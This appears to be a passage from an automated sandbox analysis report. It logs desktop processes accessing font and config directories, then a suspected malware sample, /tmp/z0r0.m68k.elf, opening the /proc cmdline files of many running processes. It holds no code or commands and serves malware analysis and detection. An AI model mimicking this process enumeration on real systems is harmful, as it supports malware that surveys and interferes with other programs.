Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5499)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5500)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5516)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5516)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5516)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5516)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5527)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5527)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5527)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5527)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/5420/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/518/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1748/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1755/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/2964/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1751/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/2961/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/778/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/5315/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1879/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/5455/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1891/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3153/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1921/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/783/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1765/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/2974/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1400/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1884/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3424/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/2972/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3709/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3147/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/2970/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1881/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3146/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3300/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1805/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1925/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1804/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1648/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3823/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1922/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3429/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3442/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3165/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3164/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3163/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3162/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/790/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3161/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/792/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/672/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1930/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3315/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1411/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/2984/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/1410/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/797/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/676/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3434/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/3158/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/678/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/679/cmdline	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	File opened: /proc/5456/cmdline	Jump to behavior
